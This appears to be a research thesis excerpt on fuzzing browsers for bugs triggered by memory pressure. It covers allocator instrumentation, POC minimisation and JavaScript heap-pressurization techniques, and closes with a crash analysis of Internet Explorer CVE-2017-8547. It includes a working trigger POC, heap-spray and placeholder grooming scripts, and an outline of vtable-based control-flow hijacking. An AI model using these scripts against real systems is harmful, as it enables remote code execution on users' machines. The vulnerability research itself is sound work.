Since the prerequisite of memory pressure bug is a failed allocation. This brings us the problem of reproducibility. If we did not know the location of the failed allocation, there is no way to reproduce the crash. Even the location of the failed allocation is known, there still lacks a method to apply memory pressure to the exact location of failed allocation.

Therefore in this Chapter, other than the detection method of memory pressure bug, we will be discussing the method to apply memory pressure to the browser in order to reproduce the crash found by fuzzing.

4.1.1 Potential target for memory pressure bug

Memory pressure bug is usually hard to trigger. Because it requires some level of control of the memory space of the target program. The minimum requirement for triggering memory pressure bug is that the program must have a way to let users exhaust the memory space. However, to use the advanced technique introduce in this chapter, it is desired that the program have an exception handling of an Out-Of-Memory error. So the attacker will know the memory is running out of space after a heap spray. Therefore scripting languages like JavaScript will be a potential target for memory pressure bug. For example, the JavaScript engine allows the user to create objects that can allocate arbitrary quantity and size of memory allocation. This allows the user to allocate many large memory trunks in the heap to exhaust the heap memory space. On top of that JavaScript have

an exception handling mechanism which serves as a feedback to the attacker when memory space is running out. With this arbitrary allocation and OOM exception feedback mechanism, we can do a memory pressure in the JavaScript and make sure any subsequent allocation will be failed after the pressurization. Therefore all browsers are a potential target for memory pressure bug.

4.1.2 Example of memory pressure bug

Listing 4.1 shows a simple example of memory pressure bug, failure of realloc function on line 6 will cause memory corruption on line 8. When realloc function fails, it will return a null pointer and an array assignment of a null pointer on line 8 will write *value* on the address *pos * size(int)* in the memory.

```
1 void write(int pos, int ** target_array ,
2           int array_size, int value){
3     if (pos < array_size){
4         *target_array[pos] = value;
5     }
6     *target_array = (int *)realloc(*target_array,
7                                   (pos*2) * sizeof(int));
8     (*target_array)[pos] = value;
9 }
```

LISTING 4.1: Example of a memory pressure bug

This is just a simple example of a memory pressure bug, It is very easy to be spotted by using code analysis. However, the memory pressure bugs in a large application are much more complicated than the example. It will be hard to discover such type of bug with only fuzzing. Because this kind of bug will require the exhaustion of current memory space when the allocation is called. This condition will be very rare in normal fuzzing. Thus special instrumentation is needed to discover such bug in fuzzing. The low memory simulation will cause the program to fail at random allocation during execution to test out the program in low memory condition. This type of simulation will help to the discovery of memory pressure bugs. However, due to lack of information of the allocation that fails during the process, the bug is usually non-reproducible, especially if we are fuzzing large program like a modern web browser.

4.1.3 Challenges

There are 3 major challenges faced to discover memory pressure bug. First, memory pressure bug is usually unable to spot from fuzzing. Second, the location of failure of allocation is hard to track if a memory pressure bug occurs. Third, the reproducibility of the memory pressure bug is usually unreliable.

An intuitive way to address the first problem will be changing the fuzzing strategy to generate a test case that may exhaust the heap memory space during the fuzzing to increase the chance of discovering memory pressure bug. However, this approach is ineffective in practice, because it will consume too much memory space. Another approach is by using instrumentation, using a similar way as application verifier did, we can add instrumentation to the program and try to simulate low memory condition by cause random failure of heap allocation. This way is more effective and this allows us to solve the second challenge by recording the stack trace when an allocation is failed by the instrumentation. To solve the third challenge, we developed a way to apply pressure to the exact location of failed allocation during low memory simulation.

4.2 Our Approach

To resolve the reproducibility issue, we instrumented the target program, so that the memory allocation may fail on random occasion and stack trace of each failed memory allocation will be recorded. Therefore a list of the stack trace of failed allocation will be produced alongside with crash info and crash POC. With stack trace of the failed allocation, we can verify the crash by break on the failed allocation and fail the allocation by using a debugger. With crash been verified, a minimizer can be used to help us to minimize the crash POC. After the crash POC is minimized, we can apply pressure on the minimized POC to get our final reproducible POC. Figure 4.1 below shows the general workflow for our approach.

FIGURE 4.1: The general workflow of our approach

4.2.1 Memory pressure instrumentation

We developed two methods to instrument for low memory simulation during fuzzing. One is using PIN tool [64, 65] to do binary instrumentation on target’s allocation function, Another method creates an add-on to the address sanitizer’s [11] memory allocator to insert memory pressure instrumentation on compile time. The PIN tool approach generally incurs higher overhead than compiler instrumentation. However, the PIN tool approach is used to close source project like Internet Explorer. Therefore we use our memory pressure instrumentation based on address sanitizer for open-source browser fuzzing. For the close source fuzzing like Internet Explorer fuzzing, we used our PIN tool.

Though we use different tools for open source and close source program. The ideology behind the memory pressure instrumentation is the same. We aim to change the malloc function to fail at random occasion and record stack trace of failed allocation to an OOM stack trace file. By doing this we can simulate the

program running on low memory environment. Also if any memory pressure crash occurs, we can trace the failed allocation by symbolizing the OOM stack trace file.

4.2.1.1 PIN Instrumentation

PIN is a dynamic binary instrumentation tool developed by Intel. It provides an API to insert instrumentation code to an existing function when a library is loaded during the program execution. We use this API to insert our code in the heap allocation function. Since the only close source browser we are fuzzing is Internet Explorer, we only use PIN instrumentation for Internet Explorer fuzzing on Windows machines.

To simulate the low memory environment using PIN tool for windows program, we wrote a PIN tool to insert our low memory simulation code at the end of `RtlAllocateHeap` function during library loading phase at program starts. Listing 4.2 below shows the C++ code inserted at end of the `RtlAllocateHeap` function. Here the PIN tool will generate a random number and modulus with the chance of failing the allocation, If the result is zero, the allocation will be failed and the stack trace will be print to a tracing file.

```

1 |     int random = rand(); int* traceEbp = (int*) ebp;
2 |     if ((random % Chance) == 0){
3 |         *eax = 0;
4 |         TraceFile << "   zeroed! " << *eax << endl;
5 |         PrintStackTrace(traceEbp);
6 |
7 |     }
```

LISTING 4.2: the code inserted after `RtlAllocateHeap` function

Listing 4.3 shows the stack tracing method used in the PIN tool. At the beginning of every function call, the previous stack frame pointer `ebp` will be saved to the start of the stack frame and the current stack frame pointer will point to the start of the stack frame. This creates a linked list of stack frames and we can traverse the linked list to obtain return address of each stack frame. In our stack trace function, we traverse on the top 20 stack frames and output the return

address of each frame to the heapAllocStack file. The return address is usually 4 bytes below the stack frame pointer.

```

1 VOID PrintStackTrace(int* traceEbp)
2 {
3     HeapAllocStack << "START" << endl;
4     for (int i = 0; i < 20; i++){
5
6         traceEbp = (int*)*traceEbp;
7         if (*traceEbp == 0) {
8             HeapAllocStack << "END" << endl;
9             return;
10        }
11        HeapAllocStack << *(traceEbp + 1) << endl;
12    }
13    HeapAllocStack << "END" << endl;
14 }
```

LISTING 4.3: The function used to produce stack trace

After a crash is found in the fuzzing process, the monitor will read the HeapAllocStack file and symbolize all return addresses stored in the HeapAllocStack file.

4.2.1.2 Address Sanitizer

Address Sanitizer is an error detecting tool developed on LLVM compiler infrastructure [11, 66]. It will replace the program's allocator with its memory allocator to implement its error-detecting feature. Therefore we can add our memory pressure instrumentation code in memory allocator of address sanitizer. In this way, we can integrate our low memory simulation with address sanitizer's error detection feature.

```

1
2 if (OOM_enabled){
3     if(!OOM_black_list_size){
4         stack->Print();
5         return nullptr;
6     }
}
```

```

7   if (stack->OOM_Print(OOM_black_list,
8       OOM_black_list_size))
9       return nullptr;

```

LISTING 4.4: the piece of code triggers allocation failure in Address sanitizer’s allocator

The listing 4.4 shows the code added to allocator for low memory simulation. Our approach for Address Sanitizer is similar to Application Verifier, we make allocator return null in random occasion to simulate a failed memory allocation caused by an Out-Of-Memory error. After a failed memory allocation, the stack trace of the memory allocation will be recorded for crash analysis.

Note that some functions in the target program may handle the failure of memory allocator and cause early termination of the program. This may cause a false positive crash. Therefore we implement a blacklist feature in our approach. Before the instrumentation code fails the allocation, it will check if the allocation is located in a blacked list function. If the allocation is in the blacklist function, the allocation will be skipped from low memory simulation.

To implement the low memory simulation in address sanitizer, we added three variable to the address sanitizer flag, `oom_chance`, `MemPressure_black_list` and `MemPressure_flag_file`. The address sanitizer flag can be set by the environmental variable `ASAN_OPTIONS`. The flag `oom_chance` will affect the failure rate of the memory allocation. It is range from 0 to 10000 where 0 means 0 the memory allocation will never fail and 10000 means the memory allocation will certainly fail. The flag `black_list` points to a file containing the blacklist function symbol. When the allocation is in a blacklisted function, it will never be failed by the instrumentation. lastly the `MemPressure_flag_file` is pointed to a file that contains the value of `is_mempressure_simulation_enable` variable. By toggling this variable, we can disable or enable the low memory simulation during the program’s execution. This variable is usually used to disable the low memory simulation when the program is initializing. Because all memory pressure crash found during the program initialization phase will be a false positive crash. There is no way to apply memory pressure before the program’s initialization, therefore, it is unnecessary to fuzz the program initialization phase with low memory simulation.

FIGURE 4.2: A flowchart of the minimizer

4.2.2 Minimizing POC

A raw POC from fuzzer is usually minimized before any analysis can be done on it. In our case, the raw POC must be minimized before we can apply memory pressure on it. However, the minimizing process for memory pressure bug is different from other bugs. Because minimizing requires the POC to be reproducible, therefore we need to use a debugger to simulate the environment during the fuzzing while minimizing.

With the OOM stack trace information from the previous step, we can use a Debugger to break on the location of the failed allocation and cause the allocation to fail once again during the minimizing process. Figure 4.2 shows a flowchart for our minimizing process.

For window applications, we can use windbg to attach to the target program and set a breakpoint at the location of failed memory allocation recorded by instrumentation. For Linux applications, we can use gdb to do the same. There may be also a possibility that the code path of failed memory allocation may be executed multiple times in a single POC execution. Thus we may have to iterate through all possible execution of failed memory allocation in order to reproduce the crash.

we can automate the above procedure by using debug scripting.

```

1 MSHTML!Array<SP<Layout::TableRowLayout> >::Create+0x29
2 MSHTML!Tree::TableRowGroupBlock::InsertRowAt+0x57
3 MSHTML!Tree::TableBlockBuilder::BuildRow+0x9b
4 MSHTML!Tree::TableBlockBuilder::BuildRowGroup+0x142

```

For example, the above stack trace is the OOM stack trace for CVE-2017-8547. The failed allocation in `MSHTML!Array<SP<Layout::TableRowLayout> >::Create` will cause a crash when the `TableRowGroup` is freed. Therefore we will set a breakpoint at `MSHTML!Array<SP<Layout::TableRowLayout> >::Create` to fail the allocation with an attached debugger during the minimizing process. This process can be automated using windbg scripting.

Algorithm 2: algorithm of minimizing process

Data: raw POC

Result: Minimized POC

n = line number of raw POC;

while $n > 1$ **do**

$n = n/2$;

 insert bookmark at end of raw POC **while** *bookmark is not at beginning of raw POC* **do**

 delete n lines before the bookmark in raw POC;

 run the raw POC in target;

if *target crashed* **then**

 save the raw POC;

else

 recover the raw POC;

 and put bookmark n lines above;

save raw POC as Minimized POC

We used a simple algorithm for minimizing the raw POC. the Pseudocode above describes the algorithm to reduce the raw POC to Minimized POC. Given n as the line number of the raw POC and $POC(i,j)$ denotes the POC at the beginning of the cycle (i,j) . At the beginning of each cycle i , we will insert a bookmark at the bottom of $POC(i-1,0)$. Then we will delete $k = \frac{n}{2^i}$ (integer division) lines before the bookmark at $POC(i,j)$ to make it $POC'(i,j)$. We will feed $POC'(i,j)$ to the target program that is attached by a debugger. If the program crashed at the desired location, we will save the $POC'(i,j)$ as $POC(i,j+1)$. Else we will make bookmark k

lines above the $\text{POC}(i,j)$ and save it as $\text{POC}(i,j+1)$. When bookmark reaches the top of the POC, we will delete the bookmark and save the $\text{POC}(i,j)$ as $\text{POC}(i+1,0)$ and repeat the process until the cycle for $k = \frac{n}{2^i} = 1$ is finished.

```
1 <body>
2 <meta http-equiv="refresh" content="0.5;url=http
   ://10.0.2.15:8001/next/long" />
3 <table id = "3" onpaste= "event3(event)">
4 <td>
5 </td>
6 <tr>
7 </tr>
8 <tr>
9 </tr>
10 </table>
11 </body>
```

LISTING 4.5: Example of a memory pressure bug

Listing 4.5 above shows an example of minimized POC for CVE-2017-8547. from the minimized POC we can know that the failed allocation is executed when a row is inserted to the table, therefore we can change it to following JavaScript code to increase the allocation size:

```
1 function main(){
2
3 n = 0x8000
4 for (i = 2; i < n; i ++) {
5     document.getElementById("3").insertRow(i);
6 }
7 document.getElementById("3").insertRow(n)
8 }
```

4.2.3 Pressurization of the heap

With a minimized POC, we will be able to figure out the exact code that triggers the allocation. And we have to cause an Out-Of-Memory exception when execution reaches that allocation. In order to exploit the crash in a real scenario, the

reproduction of the crash must be done with JavaScript code. Since we know that the bug will be triggered only if that particular allocation is failed. Therefore we will target the allocation to be failed in our JavaScript code. One way is to apply memory pressure before we execute the code containing the target allocation.

A simple memory pressure can be introduced by allocating a large number of large objects to exhaust the heap memory space until an Out of Memory Error is caught. By doing this any allocation larger than the large object will fail after the pressurization. If the target failed allocation is a very large allocation, we can just pressurize the memory by using an object slightly smaller than the failed allocation. However, if the failed allocation is small, we must first exhaust the memory with a large object and then use an object smaller than the failed allocation to pressurize the memory.

The listing 4.6 below shows an example of a pressurizing function, it is a memory pressure function use to pressurize the jscrip heap of Internet Explorer. In the example, we use JavaScript String objects to spray the jscrip heap. A large string is created at the beginning of the script. It will serve as the template in heap memory pressurization. In the jscrip pressure function, we will start to pressurize the jscrip heap with a huge substring of the default string until the browser raises an out of memory exception. For all subsequence round the function will pressurize the heap by a substring of half the length as the previous substring. The process will continue until the desired size of pressure is reached.

```
1  var memory_pressure_array_holder = [];  
2  var memory_pressure_index = 0;  
3  var MAX_ARRAY_SIZE = 0x200000;  
4  
5  var memory_pressure_default_string = "A";  
6  var memory_pressure_max_string_size = 0x8000000  
7  while(memory_pressure_default_string.length <  
      memory_pressure_max_string_size){  
8      memory_pressure_default_string +=  
      memory_pressure_default_string ;  
9  }  
10  
11  function jscrip_pressure(desired_pressure_size){  
12      pressure_size = MAX_ARRAY_SIZE;
```

```
13     while (pressure_size > desired_pressure_size) {
14         try{
15             memory_pressure_array_holder[
memory_pressure_index] =
memory_pressure_default_string.substring(0,
pressure_size);
16             memory_pressure_index++;
17         }catch(e){
18             pressure_size = pressure_size/2;
19         }
20     }
21 }
```

LISTING 4.6: an example of pressurizing function

After calling above function in JavaScript, we can make sure any allocation smaller than the desired pressure size will be failed on the jscrip heap. We can insert this function call before the line of code that will trigger the target allocation. Also that in many cases, the browser may have several different heaps. For example, the Internet Explorer's DOM engine uses process heap which is different from the msvcrt heap that is used by JavaScript engine. Therefore the pressurization must be done on the same heap as the target allocation.

4.2.4 Impact of allocation size

However, the level of pressure introduced and the technique used to apply memory pressure varies on many factors. For example, the size of the target allocation plays an important role in crash reproducibility. Larger the size of the target allocation makes it more reliable to be pressurized. Also, any large allocation after the target allocation and large free before the target allocation may hinder the ability to reproduce the crash.

If we need to reproduce a memory pressure bug caused by the failure of a small allocation, we have to pressurize the memory with small objects and left the program with very small allocation available, this will make the program to crash on other allocation and thus unable to reproduce the desired outcome. It is desired that the target allocation is controllable.

FIGURE 4.3: Control flow of pressurization process

4.2.4.1 Location of target allocation

The location of the target allocation is also very important to the reproducibility of the crash. A single line of JavaScript code may trigger multiple allocations in the browser program. The figure 4.3 shows a usual control flow of a memory pressure bug. All code executions after the pressurization and before target allocation are called pre-alloc executions. All code executions after the target allocation and before the crash point are called post-alloc executions. In order to reproduce the crash through memory pressure, the following two conditions must be satisfied:

- There should not be any free that has larger in size than target allocation in pre-alloc executions
- There should not have any allocation that is larger in size than the target allocation in post-alloc executions and failure of allocation will divert the execution path.

If there is a free that has a larger size than the target allocation in pre-alloc executions, the target allocation will never fail, because there will always be a free trunk released before the target allocation. If there is an allocation that is larger than the target allocation and diverts the execution path. The control flow will never reach the crash point and the desired crash may not be able to be reproduced.

Therefore the larger the size of target allocation makes it easier to bypass the above two restrictions. If the target allocation is controllable size, we can make it arbitrary large and avoid the above two restrictions. If the target allocation is uncontrollable, we have to verify if the above two restrictions hold on the size of target allocation. If any of two holds, the case will be unreproducible.

4.2.4.2 Controllable allocation

The most ideal case of target allocation is the size of the allocation is controllable by the attacker. In this case, the attacker can just make the allocation to be very large and apply the pressure with an object slightly smaller than the target allocation.

We can do some code analysis combine and fuzzing To determine the ability to control the allocation. By using code analysis, we can determine whether the allocation is fixed size or dynamic. If the allocation is fixed size, it is usually uncontrollable. If the allocation is dynamic, the allocation is most probably controllable, however, we still need to run a simple fuzzing test to determine the exact way to control the allocation. By finding a test case with different size on the target allocation. We can compare the difference between minimized crash POC and that test case to find out the code in POC that will affects the allocation size.

4.2.4.3 Uncontrollable allocation

If the size of the target allocation is fixed, it will probably be uncontrollable. However, if the allocation is still large enough, we can still apply the pressure similar to the controllable allocation. However, if the allocation is small, we have to check if there is any free with a larger size than the target allocation in pre-alloc executions and if there is any allocation that is larger in size than the target allocation in post-alloc executions. If any two occurs, the crash will not be able to be reproduced.

There is also a problem we have to resolve if there are a large number of allocations in pre-alloc executions. This will cause the program to raise Out-Of-Memory error before it reaches the target allocation. To resolve this issue, we

firstly must retrieve the number of allocation and size of each allocation in pre-alloc executions. Then we will have to allocate placeholders heap trunk before the pressurization and free those placeholders after the pressurization. The number and size of the placeholder must be the same as allocations in pre-alloc executions. By doing so we will release the memory space just enough for allocations in pre-alloc executions.

```

1 crt_heap_place_holder_array = []
2 crt_heap_place_holder_array_counter = 0
3 crt_heap_wall_array = []
4 crt_heap_wall_array_counter = 0
5
6 function crt_heap_make_place_holder(num,size){
7     crt_heap_wall_array[crt_heap_wall_array_counter] =
8     new ArrayBuffer(size);
9     crt_heap_wall_array_counter++;
10    for (var i = 0; i < num; i++) {
11        crt_heap_place_holder_array[
12        crt_heap_place_holder_array_counter] = new ArrayBuffer
13        (size);
14        crt_heap_place_holder_array_counter++;
15        crt_heap_wall_array[crt_heap_wall_array_counter]
16        = new ArrayBuffer(size);
17        crt_heap_wall_array_counter++;
18    }
19 }
20
21 function crt_heap_free_place_holder(){
22     crt_heap_place_holder_array = null;
23     CollectGarbage();
24 }

```

LISTING 4.7: Placeholder creation for jscript

To obtain the allocation size and quantity in pre-alloc executions, we developed a python script using pykd. The script will run a windbg attached to the browser and break before pre-alloc executions. It will start to record all allocation called until it reaches the target allocation. After all information about allocations in

FIGURE 4.4: Memory layout during memory pressurization

pre-alloc executions is acquired, We will leverage on the fragmentation of heap to create placeholders.

In Listing 4.7, an example of JavaScript functions to create and free placeholder are shown. The make placeholder function will create 2 arrays of ArrayBuffer. Each array will be filled with ArrayBuffer object with desired size one after each other. This function took 2 arguments, size and num, size is the size of placeholder object and num is the number of placeholders. There is also another function to free the placeholder. The free placeholder function will only free one array which will cause heap fragmentation. By the design of heap allocation, when heap alloc function is called, it will first fill up the fragmented trunk with the same size first. This will guarantee all allocation in pre-alloc executions will be filled into the correct placeholder location.

In figure 4.4, the memory layout during the pressurization process was shown. Here we fill in place holders for allocations in pre-alloc executions first. Then we

use an object to pressurize the memory by filling up all leftover memory space. Subsequently, we free up the placeholder just right before the JavaScript code that triggers target allocation. So that all allocations in pre-alloc executions will eventually fill in the respective place holder free space and when the target allocation is reached, the memory space will be just right filled up and thus the allocation will be failed and a crash will be triggered after that.

4.3 Implementation and result

We have done fuzzing tests on most modern browsers using our memory pressure instrumentations. We have integrated the memory pressure instrumentation with our fuzzer on both Windows and Linux system. We use address sanitizer approach with an open-source browser like WebKit, Firefox and Chromium. we also fuzz open-source JavaScript engine with our address sanitizer approach. For closed source browser like Internet Explorer, we used the PINtool approach to simulate the low memory condition.

4.3.1 Open source browsers

For open-source browsers like Firefox, Chromium and WebKit, we can use our LLVM instrumentation add-on on address sanitizer to simulate low memory environment in fuzzing. We use the fuzzing framework from the previous chapter to fuzz for memory pressure bug fuzzing. We used a similar set up as we did for normal fuzzing. We set up a Ubuntu virtual machine with 4BG of memory and 2 CPU core, create a shared folder for crash archive and test case generator and install fuzzing server and monitor into the virtual machine. One guest machine will be a linked-based machine. Before we build the browser, we will have to build LLVM with our version of compiler-rt that supports low memory simulation. After the LLVM is built, we will build the browser with address sanitizer by using the clang from the LLVM we just built. Note that in order for memory pressure instrumentation to work, we have to compile the browser with system malloc. Finally, we set up our fuzzer as the startup program before we clone the linked-base machine.

So we can clone and start all 16 linked-clone machines from the linked-base. With all 16 machine starting, fuzzing will be started automatically.

During the fuzzing process, Our instrumentation will start to fail random allocation and the allocation stack trace will be output as a shell error message like address sanitizer did. Once a crash is found by the fuzzer, the monitor will save the address sanitizer output and failed allocation stack trace together with crash POC file.

Note that there are functions that will handle failed allocation in some browsers. For example, the Allocate function in WebKit will crash the program if malloc returns 0. Therefore We also set up a blacklist for those function that will cause false positive memory pressure crash. Therefore in the fuzzing process, our instrumentation will check blacklist before it fails an allocation. If the function is in the blacklist, our instrumentation will not fail that allocation in the function.

There are also many false-positive crashes in the initialization process of the browser program. As there is no way to apply pressure before initialization of the browser. All memory pressure related crash before initialization of browser is non-reproducible. Thus we have to turn off memory pressure instrumentation in initialization phase when browser just started. It can be turned on again when the server receives the request from the browser.

Before the crash analysis, we can verify the crash POC by setting a break at allocation stack trace when running the crash POC and manually setting the return value of the allocation to be 0. If the crash reproduced, Then we can continue for memory pressurization using JavaScript code.

Some browsers have its own error handling when allocation runs into Out-Of-Memory Exception. This may cause a certain crash when that particular allocation is failed. For example, Webkit has two allocation wrapper function for each type of allocation. The tryAllocate function will not cause a crash when Out-Of-Memory Exception occurs, The usual allocate will cause a crash when the allocation failure. Therefore during the fuzzing, we should blacklist the usual allocation and only fail the allocation with tryAllocate.

We can also fuzz the standalone JavaScript engine with low memory simulation. Using the similar set up as browser fuzzing, we compile the JavaScript engine

with our specially build LLVM address sanitizer. Install the fuzzer used in the previous chapter for JavaScript fuzzing and set it as a start-up program. Then clone 16 machines and start the fuzzing.

4.3.2 Internet Explorer

For memory pressure fuzzing on Internet Explorer, We used the PIN Instrumentation to apply our low memory simulation. We will use a Windows 7 guest machine as our linked-base machine. we install the fuzzer and our PINtool into the machine and add the fuzzer in start-up program. Clone 16 copies of the linked-base machine. Fuzzing process will be started once all machine is started.

During the fuzzing process, our memory pressure PINtool will randomly fail the `RtlAllocateHeap` function call by replacing its return value to 0. Once the `RtlAllocateHeap` function has been failed, the stack trace of the failed allocation will be recorded in a `HeapAllocStack` file stored locally. If any crash is found during the fuzzing process, the monitor will symbolize and save the `HeapAllocStack` file together with crash POC and crash dump to the crash archive for analysis later. With the symbolized `HeapAllocStack` file we will be able to trace the failed `HeapAlloc` function that triggers the crash.

During the crash analysis phase, we can verify the crash by running the browser in Windbg and manually fail the `HeapAlloc` function recorded in the OOM-tracing file. If the crash is trigger after that particular `HeapAlloc` function is failed, we can confirm that is a memory pressure bug.

After a memory pressure bug is verified, we will feed the crash POC and stack trace of failed allocation to the minimizer to minimize. After we know the exact location of the target allocation in crash POC. We will reproduce the crash in JavaScript code using the technique described in the previous section.

4.3.3 Memory Pressurization on Internet Explorer

After a memory pressure bug is verified and minimized, we have to reproduce the crash using memory pressurization technique in JavaScript. The Internet Explorer

have many special features, It has several different heaps and the pressurization must be done on the same heap as the target failed allocation. Therefore we must first determine the heap of target failed allocation. Then we need to find an object in the same heap to fill up the memory space. If the pre-alloc executions of this memory pressure bug contain very few allocations, A simple heap memory pressurization using the same heap object will be sufficient to trigger the crash in Internet Explorer.

However, if pre-alloc executions contain many allocations or some allocations are larger than the target allocation. We have to use placeholders to reserve the memory space for those allocations and free them up after the pressurization. For Internet Explorer, there are multiple heaps is been used. So we have to reserve memory spaces in the correct heap. Finding the right object to spray is important to memory pressurization. A good pressurization object should have a controllable size and incurs minimum unnecessary allocations when it is been created. For example, the ArrayBuffer Object is a good candidate for memory pressurization. It can occupy a huge memory space in a very short time. However, some heap does not have such effective objects to spray. For example, we use DOM className string as our pressurization object for Internet Explorer process heap.

4.3.4 Result and Evaluation

By using the technique we describe in this chapter, We found many crashes and two vulnerabilities in Internet Explorer. CVE numbers were assigned to these 2 vulnerabilities, CVE-2017-8547 and CVE-2018-8643. CVE-2017-8547 is an Out-of-Bound read triggered by a failed allocation caused by memory pressure. While CVE-2018-8643 is an uninitialized read bug on scripting engine of Internet Explorer caused by a failed allocation. We submitted these 2 bugs for Zero Day Initiative Bug Bounty Program and have been awarded total 8000 US Dollar from these 2 vulnerabilities.

We have used the same test case generator to fuzz Internet Explorer before using our memory pressure instrumentation. None of CVE-2017-8547 and CVE-2018-8643 can be discovered without memory pressure instrumentation. These

two vulnerabilities can only be discovered when memory pressure instrumentation is implemented during the fuzzing process.

CVE-2017-8547 is a vulnerability in Internet Explorer DOM's table structure. When a row is appended to a table, the DOM engine will append the row to table row array of the particular table. The table row array will be expanded when the row number is greater than the array size. If the allocation of new table row array is failed during the expansion, the old table row array will remain there and when the last inserted row is about to be deleted, the DOM engine will try to read the last inserted row from the old table row array. However, the old table row array's size is smaller than the index of the last inserted row. This will trigger an out of bound read, the DOM engine will treat the first entry of the next object in the memory as a table row object and try to invoke its destruction method. An attacker can use heap spray to spray fake table row object with fake vtable in the memory to direct the control flow from that. This bug can only be triggered after the allocation of new table row array is failed. Therefore only by using methods proposed in this chapter, we are able to discover and eventually exploit the bug.

CVE-2018-8643 is a vulnerability in Internet Explorer's scripting engine. Similar to CVE-2017-8547, it is also a bug that can only be triggered by a failed allocation. When an allocation of an array object is failed, the uninitialized memory will be read out by the JavaScript engine. This may eventually lead to remote code execution. This bug can only be found and reproduced when we use memory pressure instrumentation and memory pressurization method describe in this chapter. Detail vulnerability analysis of above-motined bugs can be found in [5](#).

4.4 Future works and conclusion

There are still works left for future research. For example, the memory pressurization on a 64-bit program is yet to be done. Most of the work done in this Chapter is on 32-bit machines. And we only found two vulnerabilities in Internet Explorer. We are yet to find a memory pressure vulnerability in other browsers. It may require a different set of objects to do memory pressurization on other browsers. Other software like PDF reader and Kernel may contain memory pressure bugs

which may need future research. The static analysis of memory pressure bugs can also be developed to discover such bug in source code level.

We can see that FireFox and WebKit have two types of allocation wrapper. One is `tryAllocate` which will allow memory allocation to fail during the executions. One is `Allocate` function which does not allow a failure of allocation and crashes the program if the allocation fails. This mechanism may be the reason why WebKit and FireFox have lesser memory pressure crash found during our fuzzing.

Chapter 5

Crash Analysis

5.1 From Crash to Exploit

A common output for fuzzing is usually a crash PoC, A crash can only indicate there is a bug in the program. Most of the crash found from fuzzing are unexploitable null pointer deference crash. However some of the crashes are non null pointer and may indicate some memory corruption. A read memory corruption may lead to information leakage or control flow hijacking depending on the corrupted object. While a write memory corruption may overwrite critical memory enter, that may lead to arbitrary code execution or arbitrary memory read and write. For example if a Vtable pointer of an object is overwritten, attacker can use it to forge a Vtable and eventually hijack the control flow by invoking any method of that object. If an array size entry is overwritten, the array will be able to read and write any value out of its original bound. Therefore crash analysis is also an important part to identify vulnerability from crashes found from fuzzing. In this Chapter we will be showing crash analysis of some of bugs we found during our fuzzing process.

5.2 Memory Pressure Vulnerability

5.2.1 CVE-2017-8547

CVE-2017-8547 is a remote code execution vulnerability in Internet explorer. It is caused by a memory allocation failure when creating an array of table rows. The failure of allocation of table row array will eventually cause an Out-Of-Bound read.

```

eax=00000000 ebx=0a4a7f14 ecx=01440000 edx=00040008 esi=03ddc048 edi=00010000
eip=6794fde7 esp=03ddc020 ebp=03ddc030 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML! Array<SP<Layout::TableRowLayout> >::Create+0x24:
6794fde7 e83dd82a00      call     MSHTML! MemoryProtection::HeapAlloc<0> (67bfd629)
2:042> p
eax=00000000 ebx=0a4a7f14 ecx=01440000 edx=00000016 esi=03ddc048 edi=00010000
eip=6794fdec esp=03ddc020 ebp=03ddc030 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML! Array<SP<Layout::TableRowLayout> >::Create+0x29:
6794fdec e970d0e1ff      jmp     MSHTML! Array<SP<Layout::TableRowLayout> >::Create+0x29
(6776ce61)

```

LISTING 5.1: the failure of allocation in windbg

The TableRowGroup Object of Internet Explorer has an Array of Table rows. Which stores all table row object of the corresponding table. If a row is inserted to the table, the table row object will be appended to the table row array. However if table row array is full when a row is inserted, Internet Explorer will allocate an array double the size of current table row array as the new array and copy everything from the old array to the new array. The row counter will also be increased by one.

However, when the allocation of the new array fails, the table row array will not be replaced and the row array counter will still be increased by one. So when the table rows are been destroyed, it will cause an out of bound read because the array counter is larger than the size of the array. This Out-Of-Bound read will read the first 4 bytes of next object thunk and treat it as a table row object. And it will try to call its destructor to destroy the table row object. This allows us to construct a fake virtual table to hijack the control flow.

```

1  <script>
2  var n = 0x8000;
3  for (i = 1; i < n; i ++) {
4      document.getElementById("3").insertRow(i);
5  }

```

```

6 document.getElementById("3").insertRow(n); //<----- if
    allocation fails here
7 document.getElementById("3").deleteRow(n); //<----- 00B
    read
8 </script>
9 <body>
10 <table id = "3">
11 <td>
12 </td>
13 </table>
14 </body>

```

LISTING 5.2: A POC of CVE-2017-8547

We can trigger the POC shown in listing 5.2 by loading the POC in internet explorer and attach windbg on it, Break on the allocation of table row array of size 0x16000, then fail the allocation manually in WinDbg.

```

eax=3734df7a ebx=0b7a1b60 ecx=00000000 edx=00020000 esi=00008000 edi=0a559e90
eip=6779f6b0 esp=046cc944 ebp=046cc95c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
MSHTML! Tree::TableRowGroupBlock::ClearRow+0x25:
6779f6b0 394828      cmp     dword ptr [eax+28h],ecx  ds:0023:3734dfa2=????????

```

LISTING 5.3: the crash of CVE-2017-8547

We can see that the allocation size is controllable in this case. We can make allocation size to any 2^k where k can be any positive integer. Here we use the size 0x8000 rows to fill in the row array and add the 0x8000th row to the table to trigger the allocation. This will result in a 0x40008 size allocation in the process heap. Therefore in our pressurization phase, we can use a process heap object that is slightly smaller than 0x40008 to fill up the memory space. 5.5 shows the pressurization function used for CVE-2017-8547.

```

1 var divs = new Array();
2 var divCounter = 0;
3 var bsize = n*2+0x20;
4 var b = dword2data(0x43434343);
5 while(b.length<bsize){
6     b += dword2data(0x41414141);
7 }
8 function pressure(){

```

```
9      try{
10      for(var i = 0; i<0x5000 ; i++)
11      {
12          divs[divCounter] = document.createElement('div');
13          divs[divCounter].className = b.substring(0,b.
length);
14          divCounter += 1;
15      }
16      }catch(e){}
17      for(var i = 0; i<0x200 ; i++)
18      {
19          try{
20              divs[divCounter] = document.createElement('
div');
21              divs[divCounter].className = b.substring(0,b.
length);
22              divCounter += 1;
23              }catch(e){}
24      }
25  }
26 }
```

LISTING 5.4: pressurization function of CVE-2017-8547

By applying pressure multiple time before the actual allocation, we will be able to trigger the crash without manually failing the allocation in windbg.

```
1      pressure();
2      CollectGarbage();
3      pressure();
4      CollectGarbage();
5      pressure();
6      CollectGarbage();
7      pressure();
8      CollectGarbage();
9      pressure();
10     CollectGarbage();
11     pressure();
12     CollectGarbage();
```

```
